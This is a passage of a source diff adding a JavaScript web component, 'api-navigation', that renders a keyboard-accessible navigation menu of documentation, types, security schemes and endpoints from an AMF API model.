+export const listSectionActiveNodes = Symbol('listSectionActiveNodes');
+export const onUpKey = Symbol('onUpKey');
+export const onDownKey = Symbol('onDownKey');
+export const onEscKey = Symbol('onEscKey');
+export const onSpace = Symbol('onSpace');
+export const onShiftTabDown = Symbol('onShiftTabDown');
+
+/**
+ * Maps authorization scheme name to a label
+ * @param {string} name
+ * @return {string}
+ */
+function mapAuthName(name) {
+  switch (name) {
+    case 'http':
+      return 'HTTP';
+    case 'openIdConnect':
+      return 'OpenID Connect';
+    default:
+      return name;
+  }
+}
+
+/**
+ * Discretely updates tabindex values among menu items as the focused item
+ * changes.
+ *
+ * @param {HTMLElement} focusedItem The element that is currently focused.
+ * @param {HTMLElement=} old The last element that was considered focused, if
+ * applicable.
+ */
+function focusedItemChanged(focusedItem, old) {
+  if (old) {
+    old.setAttribute('tabindex', '-1');
+  }
+  if (focusedItem && !focusedItem.hasAttribute('disabled')) {
+    focusedItem.setAttribute('tabindex', '0');
+    focusedItem.focus();
+  }
+}
+
+/**
+ * Computes label for an endpoint when name is missing and the endpoint
+ * is indented, hence name should be truncated.
+ * @param {string} currentPath Endpoint's path
+ * @param {string[]} parts Path parts
+ * @param {number} indent Endpoint indentation
+ * @param {string[]} basePaths List of base paths already used.
+ * @return {string} Name of the path to render.
+ */
+export function computePathName(currentPath, parts, indent, basePaths) {
+  let path = '';
+  const latestBasePath = basePaths[basePaths.length - 1];
+  for (let i = 0, len = parts.length - 1; i < len; i++) {
+    path += `/${parts[i]}`;
+    if (!latestBasePath || latestBasePath.indexOf(`${path}/`) !== -1) {
+      indent--;
+    }
+    if (indent === 0) {
+      break;
+    }
+  }
+  return currentPath.replace(path, '');
+}
+
+/**
+ * Computes condition value to render path label.
+ * @param {boolean} allowPaths Component configuration property.
+ * @param {boolean} renderPath Endpoint property
+ * @return {boolean} True if both arguments are truly.
+ */
+export function computeRenderPath(allowPaths, renderPath) {
+  return !!(allowPaths && renderPath);
+}
+
+/**
+ * `api-navigation`
+ * A navigation for an API spec using AMF model.
+ *
+ * This element is to replace deprecated `raml-path-selector`.
+ * It is lightweight and much less complex in comparison.
+ *
+ * The element works with [AMF](https://github.com/mulesoft/amf)
+ * json/ld model. When the model is set it computes list of documentation
+ * nodes, types, endpoints, methods and security schemas.
+ * As a result user can select any of the items in the UI and the application
+ * is informed about user choice via custom event.
+ *
+ * The selection is a selected API shape `@id`. The application is responsible
+ * for computing the model selected by the user.
+ * 
+ * Note, this element does not contain polyfills for Array platform features.
+ * Use `arc-polyfills` to add support for IE and Safari 9.
+ *
+ * ## Passive navigation
+ *
+ * Passive navigation means that a navigation event occurred but it wasn't
+ * invoked by intentional user interaction. For example
+ * `api-endpoint-documentation` component renders list of documentations for
+ * HTTP methods. While scrolling through the list navigation context
+ * changes (user reads documentation of a method) but the navigation never
+ * was caused by user intentional interaction.
+ * This event, annotated with `passive: true` property in the detail object
+ * prohibits other element from taking a navigation action but some
+ * may reflect the change in the UI.
+ */
+export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
+  static get properties() {
+    return {
+      /**
+       * A model `@id` of selected documentation part.
+       * Special case is for `summary` view. It's not part of an API
+       * but most applications has some kins of summary view for the
+       * API.
+       */
+      domainId: { type: String, reflect: true },
+      /**
+       * Type of the domain item.
+       * One of `documentation`, `schema`, `security`, `resource`, `operation`
+       * or `summary`.
+       *
+       * This property is set after `domainId` property.
+       */
+      domainType: { type: String, reflect: true },
+      /**
+       * If set it renders `API summary` menu option.
+       * It will allow to set `domainId` and `domainType` to `summary`
+       * when this option is set.
+       */
+      summary: { type: Boolean, reflect: true },
+      /**
+       * A label for the `summary` section.
+       */
+      summaryLabel: { type: String, reflect: true },
+      /**
+       * Determines and changes state of documentation panel.
+       */
+      docsOpened: { type: Boolean, reflect: true },
+      
+      /**
+       * Determines and changes state of types panel.
+       */
+      typesOpened: { type: Boolean, reflect: true },
+      /**
+       * Determines and changes state of security panel.
+       */
+      securityOpened: { type: Boolean, reflect: true },
+      /**
+       * Determines and changes state of endpoints panel.
+       */
+      endpointsOpened: { type: Boolean, reflect: true },
+      /**
+       * If true, the element will not produce a ripple effect when interacted with via the pointer.
+       */
+      noink: { type: Boolean, reflect: true },
+      /**
+       * Filters list elements by this value when set.
+       * Clear the value to reset the search.
+       *
+       * This is not currently exposed in element's UI due
+       * to complexity of search and performance.
+       */
+      query: { type: String, reflect: true },
+      /**
+       * Size of endpoint indentation for nested resources.
+       * In pixels.
+       *
+       * The attribute name for this property is `indent-size`. Note, that this
+       * will change to web consistent name `indentSize` in the future.
+       */
+      indentSize: { type: Number, reflect: true },
+      /**
+       * When set it renders full path below endpoint name if the endpoint has
+       * a name (different than the path).
+       * This is not always recommended to use this option as some complex APIs
+       * may render this component difficult to understand.
+       */
+      allowPaths: { type: Boolean },
+      /**
+       * If this value is set, then the navigation component will sort the list
+       * of endpoints alphabetically based on the `path` value of the endpoint
+       */
+      rearrangeEndpoints: { type: Boolean },
+      /**
+       * Enables compatibility with Anypoint components.
+       */
+      compatibility: { type: Boolean },
+      /**
+       * Determines and changes state of endpoints.
+       */
+      operationsOpened: { type: Boolean, reflect: true },
+      /**
+       * No overview as a separated node. 
+       * Overview can be seen by clicking the endpoint label.
+       */
+      noOverview: { type: Boolean },
+      /**
+       * When set, avoids truncating and indentation of endpoint paths.
+       * Instead, the full path for each endpoint will be rendered.
+       */
+      renderFullPaths: { type: Boolean },
+    };
+  }
+
+  get styles() {
+    return [navStyles, httpMethodStyles];
+  }
+
+  /** @returns {string} */
+  get domainId() {
+    return this[domainIdValue];
+  }
+
+  /** @param {string} value */
+  set domainId(value) {
+    const old = this[domainIdValue];
+    /* istanbul ignore if */
+    if (old === value) {
+      return;
+    }
+    this[domainIdValue] = value;
+    this.requestUpdate('domainId', old);
+    this[selectedChanged](value);
+    this[selectionChanged](value, this.domainType);
+  }
+
+  /** @returns {SelectionType} */
+  get domainType() {
+    return this[domainTypeValue];
+  }
+
+  /** @param {SelectionType} value */
+  set domainType(value) {
+    const old = this[domainTypeValue];
+    /* istanbul ignore if */
+    if (old === value) {
+      return;
+    }
+    this[domainTypeValue] = value;
+    this.requestUpdate('domainType', old);
+    this[selectionChanged](this.domainId, value);
+  }
+
+  /** @param {boolean} value */
+  set operationsOpened(value) {
+    const old = this[operationsOpened];
+    /* istanbul ignore if */
+    if (old === value) {
+      return;
+    }
+    this[operationsOpened] = value;
+
+    if (value === undefined) {
+      return;
+    }
+
+    this[updatedOpenedOperations] = !value;
+    if (!value) {
+      this[openedOperationsValue] = /** @type string[] */ ([]);
+    } else {
+      this[addOpenedOperations](this[endpointsValue]);
+    }
+  }
+
+  /** @returns {boolean} */
+  get operationsOpened() {
+    return this[operationsOpened];
+  }
+
+  /**
+   * @return {boolean} true when `[docsValue]` property is set with values
+   */
+  get hasDocs() {
+    const items = this[docsValue];
+    return Array.isArray(items) && !!items.length;
+  }
+
+  /**
+   * @return {boolean} true when `[typesValue]` property is set with values
+   */
+  get hasTypes() {
+    const items = this[typesValue];
+    return Array.isArray(items) && !!items.length;
+  }
+
+  /**
+   * @return {boolean} true when `[securityValue]` property is set with values
+   */
+  get hasSecurity() {
+    const items = this[securityValue];
+    return Array.isArray(items) && !!items.length;
+  }
+
+  /**
+   * @return {boolean} true when `[endpointsValue]` property is set with values
+   */
+  get hasEndpoints() {
+    const items = this[endpointsValue];
+    return Array.isArray(items) && !!items.length;
+  }
+
+  /**
+   * @return {boolean} True when summary should be rendered.
+   * Summary should be rendered only when `summary` is set and
+   * current model is not a RAML fragment.
+   */
+  get summaryRendered() {
+    const { summary } = this;
+    return !!(summary && !this[isFragmentValue]);
+  }
+
+  get query() {
+    return this[queryValue2];
+  }
+
+  set query(value) {
+    const old = this[queryValue2];
+    /* istanbul ignore if */
+    if (old === value) {
+      return;
+    }
+    this[queryValue2] = value;
+    this.requestUpdate('query', old);
+    this[queryChanged]();
+  }
+
+  /**
+   * @return {HTMLElement=} A reference to currently selected node.
+   */
+  get selectedItem() {
+    return this[selectedItemValue];
+  }
+
+  /**
+   * @return {HTMLElement=} The currently focused item.
+   */
+  get focusedItem() {
+    return this[focusedItemPrivate];
+  }
+
+  get [focusedItemPrivate]() {
+    return this[focusedItemValue];
+  }
+
+  set [focusedItemPrivate](value) {
+    const old = this[focusedItemValue];
+    /* istanbul ignore if */
+    if (old === value) {
+      return;
+    }
+    this[focusedItemValue] = value;
+    focusedItemChanged(value, old);
+  }
+
+  /** @returns {boolean} */
+  get noOverview() {
+    return this[noOverviewValue];
+  }
+
+  /** @param {boolean} value */
+  set noOverview(value) {
+    const old = this[noOverviewValue];
+    if (old === value) {
+      return;
+    }
+    this[noOverviewValue] = value;
+    this.requestUpdate('noOverview', old);
+    this[itemsValue] = null;
+  }
+
+  /** @param {boolean} value */
+  set rearrangeEndpoints(value) {
+    const old = this[rearrangeEndpointsValue];
+    if (old === value) {
+      return;
+    }
+    this[rearrangeEndpointsValue] = value;
+    this.requestUpdate('rearrangeEndpoints', old);
+    this.__amfChanged(this.amf);
+  }
+
+  /** @returns {boolean} */
+  get rearrangeEndpoints() {
+    return this[rearrangeEndpointsValue];
+  }
+
+  /** @param {boolean} value */
+  set renderFullPaths(value) {
+    const old = this[renderFullPathsValue];
+    if (old === value) {
+      return;
+    }
+    this[renderFullPathsValue] = value;
+    this.requestUpdate('renderFullPaths', old);
+    this.__amfChanged(this.amf);
+  }
+
+  /** @returns {boolean} */
+  get renderFullPaths() {
+    return this[renderFullPathsValue];
+  }
+
+  constructor() {
+    super();
+
+    this.summaryLabel = 'Summary';
+    /**
+     * Flag set when passed AMF model is a RAML fragment.
+     * @type boolean
+     */
+    this[isFragmentValue] = false;
+    this.summary = false;
+    this.noink = false;
+    this.allowPaths = false;
+    this.compatibility = false;
+    this.rearrangeEndpoints = false;
+    this.indentSize = 8;
+    /**
+     * @type HTMLElement
+     */
+    this[selectedItemValue] = null;
+    /**
+     * List of opened operation ids
+     * @type {string[]}
+     */
+    this[openedOperationsValue] = [];
+    this[updatedOpenedOperations] = true;
+    this.noOverview = false;
+    this.renderFullPaths = false;
+    /** @type {string} */
+    this[queryValue] = undefined;
+    /**
+     * Computed list of documentation items in the API.
+     * @type {DocumentationItem[]}
+     */
+    this[docsValue] = undefined;
+    /**
+     * Computed list of "type" items in the API.
+     * @type {TypeItem[]}
+     */
+    this[typesValue] = undefined;
+    /**
+     * Computed list of Security schemes items in the API.
+     * @type {SecurityItem[]}
+     */
+    this[securityValue] = undefined;
+    /**
+     * Computed list of endpoint items in the API.
+     * @type {EndpointItem[]}
+     */
+    this[endpointsValue] = undefined;
+    /** @type {Element[]} */
+    this[itemsValue] = undefined;
+
+    this[navigationHandler] = this[navigationHandler].bind(this);
+    this[focusHandler] = this[focusHandler].bind(this);
+    this[keydownHandler] = this[keydownHandler].bind(this);
+  }
+
+  /**
+   * Ensures aria role attribute is in place.
+   * Attaches element's listeners.
+   */
+  connectedCallback() {
+    super.connectedCallback();
+    // @ts-ignore
+    if (window.ShadyCSS) {
+      // @ts-ignore
+      window.ShadyCSS.styleElement(this);
+    }
+    // Pawel: This role requires children to be present in the DOM, but in this case none is rendered
+    // in the light DOM but rather in the shadow DOM. Therefore the element cannot have this role.
+    // if (!this.getAttribute('role')) {
+    //   this.setAttribute('role', 'menubar');
+    // }
+    if (!this.getAttribute('aria-label')) {
+      this.setAttribute('aria-label', 'API structure');
+    }
+    if (!this.getAttribute('tabindex')) {
+      this.setAttribute('tabindex', '0');
+    }
+    window.addEventListener(EventTypes.Navigation.apiNavigate, this[navigationHandler]);
+    this.addEventListener('focus', this[focusHandler]);
+    this.addEventListener('keydown', this[keydownHandler]);
+
+    this[resetTabindices]();
+  }
+
+  disconnectedCallback() {
+    super.disconnectedCallback();
+    window.removeEventListener(EventTypes.Navigation.apiNavigate, this[navigationHandler]);
+    this.removeEventListener('focus', this[focusHandler]);
+    this.removeEventListener('keydown', this[keydownHandler]);
+    this[itemsValue] = null;
+  }
+
+  /**
+   * @param {EndpointItem[]} endpoints 
+   */
+  [addOpenedOperations](endpoints) {
+    if (!this[updatedOpenedOperations] && endpoints) {
+      this[openedOperationsValue] = endpoints.map(e => e.id);
+      this[updatedOpenedOperations] = true;
+    }
+  }
+
+  /**
+   * Overrides `AmfHelperMixin.__amfChanged()`
+   * @param {AmfDocument} api AMF model
+   * @override
+   */
+  __amfChanged(api) {
+    if (!api) {
+      return;
+    }
+    let model = api;
+    if (Array.isArray(model)) {
+      [model] = model;
+    }
+    let data = {};
+    let isFragment = true;
+    this[itemsValue] = null;
+
+    const { vocabularies } = this.ns.aml;
+    const moduleKey = this._getAmfKey(vocabularies.document.Module);
+    if (this._hasType(model, vocabularies.document.Document)) {
+      isFragment = false;
+      model = this._ensureAmfModel(model);
+      data = this[collectData](model);
+    } else if (this._hasType(model, vocabularies.security.SecuritySchemeFragment) ) {
+      data = this[collectSecurityData](model);
+      this.securityOpened = true;
+    } else if (this._hasType(model, vocabularies.apiContract.UserDocumentationFragment)) {
+      data = this[collectDocumentationData](model);
+      this.docsOpened = true;
+    } else if (this._hasType(model, vocabularies.shapes.DataTypeFragment)) {
+      data = this[collectTypeData](model);
+      this.typesOpened = true;
+    } else if (model['@type'] && moduleKey === model['@type'][0]) {
+      data = this[collectData](model);
+    }
+    if (this[isFragmentValue] !== isFragment) {
+      this[isFragmentValue] = isFragment;
+    }
+    this[docsValue] = data.documentation;
+    this[typesValue] = data.types;
+    this[securityValue] = data.securitySchemes;
+    this[endpointsValue] = data.endpoints;
+    this.requestUpdate();
+    this[closeCollapses]();
+    setTimeout(() => {
+      this[selectedChanged](this.domainId);
+      this[resetTabindices]();
+      this[addOpenedOperations](data.endpoints)
+    });
+  }
+
+  /**
+   * Collects the information about the API and creates data model
+   * for the navigation element
+   *
+   * @param {AmfDocument} model
+   * @return {TargetModel} Data model for the API navigation
+   */
+  [collectData](model) {
+    const result = {
+      documentation: [],
+      types: [],
+      securitySchemes: [],
+      endpoints: [],
+    };
+    if (!model) {
+      return result;
+    }
+    result._typeIds = [];
+    result._basePaths = [];
+    this[traverseDeclarations](model, result);
+    this[traverseReferences](model, result);
+    this[traverseEncodes](model, result);
+    delete result._typeIds;
+    delete result._basePaths;
+    return result;
+  }
+
+  /**
+   * Collects the data from the security fragment
+   * @param {AmfDocument} model Security fragment model
+   * @return {TargetModel|undefined}
+   */
+  [collectSecurityData](model) {
+    const result = {
+      securitySchemes: [],
+    };
+    const encodes = this._computeEncodes(model);
+    if (!encodes) {
+      return undefined;
+    }
+    this[appendSecurityItem](encodes, result);
+    return result;
+  }
+
+  /**
+   * Collects the data from the documentation fragment
+   * @param {AmfDocument} model Documentation fragment model
+   * @return {TargetModel|undefined}
+   */
+  [collectDocumentationData](model) {
+    const result = {
+      documentation: [],
+    };
+    const encodes = this._computeEncodes(model);
+    if (!encodes) {
+      return undefined;
+    }
+    this[appendDocumentationItem](encodes, result);
+    return result;
+  }
+
+  /**
+   * Collects the data from the type fragment
+   * @param {AmfDocument} model Type fragment model
+   * @return {TargetModel|undefined}
+   */
+  [collectTypeData](model) {
+    const result = {
+      types: [],
+      _typeIds: [],
+    };
+    const encodes = this._computeEncodes(model);
+    if (!encodes) {
+      return undefined;
+    }
+    this[appendTypeItem](encodes, result);
+    delete result._typeIds;
+    return result;
+  }
+
+  /**
+   * Traverses the `http://raml.org/vocabularies/document#declares`
+   * node to find types and security schemes.
+   *
+   * @param {object} model AMF model
+   * @param {TargetModel} target Target object where to put data.
+   */
+  [traverseDeclarations](model, target) {
+    const declares = this._computeDeclares(model);
+    if (!declares) {
+      return;
+    }
+    declares.forEach(item => this[appendModelItem](item, target));
+  }
+
+  /**
+   * Traverses the `http://raml.org/vocabularies/document#references`
+   *
+   * @param {object} model AMF model
+   * @param {TargetModel} target Target object where to put data.
+   */
+  [traverseReferences](model, target) {
+    const refs = this._computeReferences(model);
+    if (!refs) {
+      return;
+    }
+    refs.forEach((item) => {
+      if (!this._hasType(item, this.ns.aml.vocabularies.document.Module)) {
+        return;
+      }
+      this[traverseDeclarations](item, target);
+    });
+  }
+
+  /**
+   * Traverses the `http://raml.org/vocabularies/document#encodes`
+   * node to find documentation and endpoints.
+   *
+   * @param {object} model AMF model
+   * @param {TargetModel} target Target object where to put data.
+   */
+  [traverseEncodes](model, target) {
+    const data = this._computeApi(model);
+    if (!data) {
+      return;
+    }
+    const eKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint);
+    let endpoint = /** @type EndPoint[] */ (this._ensureArray(data[eKey]));
+    if (this.rearrangeEndpoints) {
+      endpoint = this[rearrangeEndpoints](endpoint);
+    }
+    if (endpoint) {
+      endpoint.forEach(item => this[appendModelItem](item, target));
+    }
+    const dKey = this._getAmfKey(this.ns.aml.vocabularies.core.documentation);
+    const documentation = this._ensureArray(data[dKey]);
+    if (documentation) {
+      documentation.forEach(item => this[appendModelItem](item, target));
+    }
+  }
+
+  /**
+   * Sort endpoints alphabetically based on path
+   * @param {EndPoint[]} endpoints
+   * @return {EndPoint[]}
+   */
+  [rearrangeEndpoints](endpoints) {
+    if (!endpoints) {
+      return null;
+    }
+    const pathKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.path);
+    return [...endpoints].sort((a,b) => {
+      const pathA = this._getValue(a, pathKey);
+      const pathB = this._getValue(b, pathKey);
+
+      if (pathA < pathB){
+        return -1;
+      }
+
+      if (pathA > pathB){
+        return 1;
+      }
+
+      return 0;
+    });
+  }
+
+  /**
+   * Appends declaration of navigation data model to the target if
+   * it matches documentation or security types.
+   *
+   * @param {Object} item AMF model item to check for data.
+   * @param {TargetModel} target The target to which append values.
+   */
+  [appendModelItem](item, target) {
+    if (this._hasType(item, this.ns.w3.shacl.Shape)) {
+      this[appendTypeItem](item, target);
+    } else if (
+      this._hasType(item, this.ns.aml.vocabularies.security.SecurityScheme)
+    ) {
+      this[appendSecurityItem](item, target);
+    } else if (
+      this._hasType(item, this.ns.aml.vocabularies.core.CreativeWork)
+    ) {
+      this[appendDocumentationItem](item, target);
+    } else if (
+      this._hasType(item, this.ns.aml.vocabularies.apiContract.EndPoint)
+    ) {
+      this[appendEndpointItem](item, target);
+    }
+  }
+
+  /**
+   * Appends "type" item to the results.
+   *
+   * @param {Object} item Type item declaration
+   * @param {TargetModel} target
+   */
+  [appendTypeItem](item, target) {
+    const w3name = /** @type string */ (this._getValue(item, this.ns.w3.shacl.name));
+    if (w3name && w3name.indexOf('amf_inline_type') === 0) {
+      // https://www.mulesoft.org/jira/browse/APIMF-972
+      return;
+    }
+    let name = /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.core.name));
+    if (!name && w3name) {
+      name = w3name;
+    } else if (!name) {
+      return;
+    }
+    const id = item['@id'];
+    if (!id) {
+      return;
+    }
+    const rfIdKey = this._getAmfKey(this.ns.aml.vocabularies.document.referenceId);
+    const compareId = item['@id'];
+    const refNode = this._ensureArray(item[rfIdKey]);
+    const refId = refNode ? refNode[0]['@id'] : undefined;
+    const idIndex = target._typeIds.indexOf(compareId);
+    const refIndex = refId ? target._typeIds.indexOf(refId) : -1;
+    if (idIndex === -1 && refIndex === -1) {
+      target._typeIds[target._typeIds.length] = id;
+      if (refId) {
+        target._typeIds[target._typeIds.length] = refId;
+      }
+      target.types.push({
+        label: name,
+        id,
+      });
+    }
+  }
+
+  /**
+   * Appends "security" item to the results.
+   *
+   * @param {Object} item Type item declaration
+   * @param {TargetModel} target
+   */
+  [appendSecurityItem](item, target) {
+    const voc = this.ns.aml.vocabularies;
+    let name = this._getValue(item, voc.core.displayName);
+    if (!name) {
+      name = this._getValue(item, voc.security.name);
+    }
+    if (!name) {
+      const apiName = this._getValue(item, voc.core.name);
+      const secType = /** @type string */ (this._getValue(item, voc.security.type));
+      let result = '';
+      if (apiName) {
+        result = `${apiName} - `;
+      }
+      name = result + mapAuthName(secType);
+    }
+    const id = item['@id'];
+    target.securitySchemes.push({
+      label: String(name),
+      id,
+    });
+  }
+
+  /**
+   * @param {string} url 
+   * @returns {string}
+   */
+  [validUrl](url) {
+    return url.startsWith('http://') || url.startsWith('https://')
+      ? url
+      : 'about:blank';
+  }
+
+  /**
+   * Appends "documentation" item to the results.
+   *
+   * @param {Object} item Type item declaration
+   * @param {TargetModel} target
+   */
+  [appendDocumentationItem](item, target) {
+    const { core } = this.ns.aml.vocabularies;
+    const id = item['@id'];
+    const urlNode = item[this._getAmfKey(core.url)];
+    const title = this._getValue(item, core.title);
+    const description = this._getValue(item, core.description);
+    const label = title ? String(title) : String(description);
+    let isExternal = false;
+    let url = urlNode ? (urlNode[0] || urlNode)['@id'] : undefined;
+    if (url) {
+      url = this[validUrl](url);
+      isExternal = true;
+    }
+    const result = {
+      id,
+      label,
+      isExternal,
+      url,
+    };
+    target.documentation.push(result);
+  }
+
+  /**
+   * Appends "endpoint" item to the results.
+   * This also iterates over methods to extract method data.
+   *
+   * @param {any} item Endpoint item declaration
+   * @param {TargetModel} target
+   */
+  [appendEndpointItem](item, target) {
+    const result = {};
+    const { vocabularies } = this.ns.aml;
+    let name = this._getValue(item, vocabularies.core.name);
+    const path = /** @type string */ (this._getValue(item, vocabularies.apiContract.path));
+    result.path = path;
+
+    let tmpPath = path;
+    if (tmpPath[0] === '/') {
+      tmpPath = tmpPath.substr(1);
+    }
+    const parts = tmpPath.split('/');
+    let indent = 0;
+    target._basePaths[target._basePaths.length] = path;
+    if (parts.length > 1 && !this.renderFullPaths) {
+      const lowerParts = parts.slice(0, parts.length - 1);
+      if (lowerParts.length) {
+        for (let i = lowerParts.length - 1; i >= 0; i--) {
+          const currentPath = `/${lowerParts.slice(0, i + 1).join('/')}`;
+          const previousBasePathItem =
+            target._basePaths[target._basePaths.length - 2];
+          if (
+            previousBasePathItem &&
+            (previousBasePathItem === currentPath ||
+              previousBasePathItem.startsWith(`${currentPath}/`))
+          ) {
+            indent++;
+          }
+        }
+      }
+    }
+    if (!name) {
+      result.renderPath = false;
+      if (indent > 0) {
+        try {
+          name = computePathName(path, parts, indent, target._basePaths);
+        } catch (_) {
+          name = path;
+        }
+      } else {
+        name = path;
+      }
+    } else {
+      result.renderPath = true;
+    }
+    const id = item['@id'];
+    const key = this._getAmfKey(vocabularies.apiContract.supportedOperation);
+    const operations = this._ensureArray(item[key]) || [];
+    const methods = operations.map(op => this[createOperationModel](op));
+    result.label = String(name);
+    result.id = id;
+    result.indent = indent;
+    result.methods = methods;
+    target.endpoints.push(result);
+  }
+
+  /**
+   * Creates the view model for an optation.
+   *
+   * @param {any} item Operation AMF model
+   * @return {MethodItem} Method view model
+   */
+  [createOperationModel](item) {
+    const label = /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.core.name));
+    const methodKey = this.ns.aml.vocabularies.apiContract.method;
+    const id = item['@id'];
+    const method = /** @type string */ (this._getValue(item, methodKey));
+    return {
+      label,
+      id,
+      method,
+    };
+  }
+
+  /**
+   * Click handler for section name item.
+   * Toggles the view.
+   *
+   * @param {MouseEvent} e
+   */
+  [toggleSectionHandler](e) {
+    // @ts-ignore: this is for polyfills
+    const path = e.composedPath();
+    /** @type HTMLElement */
+    let node;
+    const test = true;
+    while (test) {
+      node = /** @type HTMLElement */ (path.shift());
+      if (!node) {
+        return;
+      }
+      if (node.dataset && node.dataset.section) {
+        break;
+      }
+    }
+    this[toggleSection](node);
+  }
+
+  /**
+   * @param {HTMLElement} node 
+   */
+  [toggleSection](node) {
+    const { section } = node.dataset;
+    const openedKey = `${section}Opened`;
+    this[openedKey] = !this[openedKey];
+  }
+
+  /**
+   * Selects new item in the menu.
+   *
+   * @param {HTMLElement} node
+   */
+  [selectItem](node) {
+    const id = node.dataset.apiId;
+    const { shape } = node.dataset;
+    this.domainType = undefined; // cancels event firing
+    this.domainId = id;
+    this.domainType = /** @type SelectionType */ (shape); // now fire event
+    this[selectedItemValue] = node;
+    this[focusedItemPrivate] = node;
+  }
+
+  /**
+   * Toggles selection state of a node that has `data-api-id` set to
+   * `id`.
+   *
+   * @param {string} id Selected node id.
+   * @return {string|undefined} Type of selected node.
+   */
+  [addSelection](id) {
+    if (!this.shadowRoot) {
+      return undefined;
+    }
+    let node = /** @type HTMLElement */ (this.shadowRoot.querySelector(`[data-api-id="${id}"]`));
+    if (!node) {
+      return undefined;
+    }
+    if (node.localName === 'anypoint-collapse') {
+      node = this.shadowRoot.querySelector(`.operation[data-api-id="${id}"]`);
+    } else if (node.className === 'endpoint-name-overview' && this.noOverview) {
+      node = this.shadowRoot.querySelector(`.endpoint[data-endpoint-id="${id}"]`);
+    }
+    if (!node) {
+      return undefined;
+    }
+    node.classList.add('selected');
+    if (node.part && node.part.add) {
+      node.part.add('api-navigation-list-item-selected');
+    }
+    let collapse;
+    switch (node.dataset.shape) {
+      case 'operation':
+        collapse = /** @type AnypointCollapseElement */ (node.parentElement);
+        this.endpointsOpened = true;
+        break;
+      case 'endpoint':
+        collapse = /** @type AnypointCollapseElement */ (node.parentElement);
+        break;
+      case 'type':
+      case 'documentation':
+      case 'security':
+        collapse = /** @type AnypointCollapseElement */ (node.parentElement
+          .parentElement);
+        break;
+      default:
+        collapse = undefined;
+    }
+    if (node.dataset.shape === 'operation' || node.dataset.shape === 'endpoint') {
+      if (!this[openedOperationsValue].includes(id)) {
+        this.toggleOperations(id)
+      }
+      if (collapse && !this[openedOperationsValue].includes(collapse.dataset.apiId)) {
+        this.toggleOperations(collapse.dataset.apiId);
+      }
+    } else if (collapse && !collapse.opened) {
+      collapse.opened = true;
+    }
+    return node.dataset.shape;
+  }
+
+  /**
+   * Removes any current selection that may exist.
+   */
+  [clearSelection]() {
+    if (!this.shadowRoot) {
+      return;
+    }
+    const nodes = this.shadowRoot.querySelectorAll('.selected');
+    for (let i = 0, len = nodes.length; i < len; i++) {
+      const node = nodes[i];
+      node.classList.remove('selected');
+      // @ts-ignore
+      if (node.part && node.part.remove) {
+        // @ts-ignore
+        node.part.remove('api-navigation-list-item-selected');
+      }
+    }
+  }
+
+  /**
+   * Toggles endpoint operations list.
+   *
+   * @param {string} id ID of the endpoint.
+   */
+  toggleOperations(id) {
+    const operationIndex = this[openedOperationsValue].indexOf(id);
+    if (operationIndex !== -1) {
+      this[openedOperationsValue].splice(operationIndex, 1)
+    } else {
+      this[openedOperationsValue].push(id)
+    }
+    this.requestUpdate();
+  }
+
+  /**
+   * Updates the state of selected element when `selected` changes.
+   *
+   * @param {string} current New selection
+   */
+  [selectedChanged](current) {
+    this[clearSelection]();
+    this[cleanPassiveSelection]();
+    if (current) {
+      this[addSelection](current);
+    }
+  }
+
+  /**
+   * When `query` property change it runs the filter function
+   * in a debouncer set for ~50 ms.
+   */
+  [queryChanged]() {
+    if (this[queryDebouncer]) {
+      return;
+    }
+    this[queryDebouncer] = true;
+    setTimeout(() => {
+      this[flushQuery]();
+      this[queryDebouncer] = false;
+    });
+  }
+
+  /**
+   * Calls `render()` function on each data repeater that have filterable
+   * items.
+   * It set's `[queryValue]` property on the element that is beyond
+   * Polymer's data binding system so it skips 2 function calls each time
+   * it is read. In a repeater filter function that can be a lot.
+   *
+   * Also the `[queryValue]` is transformed to perform text search.
+   */
+  [flushQuery]() {
+    let q = this.query;
+    if (q) {
+      q = q.toLowerCase();
+    }
+    this[queryValue] = q;
+    this.requestUpdate();
+  }
+
+  /**
+   * Dispatches the navigation event when selection change.
+   *
+   * @param {string} domainId Selected id
+   * @param {SelectionType} domainType Type of AMF shape
+   */
+  [selectionChanged](domainId, domainType) {
+    if (!domainType || this.__cancelNavigationEvent) {
+      return;
+    }
+    let endpointId;
+    if (domainType === 'operation' && domainId) {
+      const node = /** @type HTMLElement */ (this.shadowRoot.querySelector(`.operation[data-api-id="${domainId}"]`));
+      if (node) {
+        endpointId = node.dataset.parentId;
+      }
+    }
+    NavigationEvents.apiNavigate(this, domainId, domainType, endpointId);
+  }
+
+  /**
+   * Navigation item click handler.
+   * It used to be common function for all clicks inside the element
+   * but in tests not all events were handled.
+   *
+   * @param {MouseEvent} e
+   */
+  [itemClickHandler](e) {
+    const eTarget = /** @type HTMLElement */ (e.target);
+    let target;
+    if (e.currentTarget) {
+      target = /** @type HTMLElement */ (e.currentTarget);
+    } else if (eTarget.classList.contains('method-label')) {
+      target = /** @type HTMLElement */ (eTarget.parentNode);
+    } else {
+      target = eTarget;
+    }
+    this[selectItem](target);
+  }
+
+  /**
+   * Handler for the navigation event. Updates the selection if dispatched from other element.
+   * @param {ApiNavigationEvent} e
+   */
+  [navigationHandler](e) {
+    const path = e.composedPath();
+    if (path[0] === this) {
+      return;
+    }
+    this[cleanPassiveSelection]();
+    if (e.detail.passive === true) {
+      this[handlePassiveNavigation](e.detail);
+      return;
+    }
+    if (this.domainId !== e.detail.domainId) {
+      this.__cancelNavigationEvent = true;
+      this.domainId = e.detail.domainId;
+      this.domainType = e.detail.domainType;
+      this.__cancelNavigationEvent = false;
+      this.requestUpdate();
+    }
+  }
+
+  /**
+   * @param {ApiNavigationEventDetail} detail 
+   */
+  [handlePassiveNavigation](detail) {
+    if (detail.domainType === 'operation') {
+      this[selectMethodPassive](detail.domainId);
+    }
+  }
+
+  [cleanPassiveSelection]() {
+    // Very simple optimization to not query local DOM if we are sure
+    // that there's no selection.
+    if (!this[hasPassiveSelection]) {
+      return;
+    }
+    const nodes = this.shadowRoot.querySelectorAll('.passive-selected');
+    for (let i = 0, len = nodes.length; i < len; i++) {
+      nodes[i].classList.remove('passive-selected');
+    }
+    this[hasPassiveSelection] = false;
+  }
+
+  /**
+   * @param {string} id 
+   */
+  [selectMethodPassive](id) {
+    const selector = `[data-api-id="${id}"]`;
+    const node = this.shadowRoot.querySelector(selector);
+    if (!node) {
+      return;
+    }
+    node.classList.add('passive-selected');
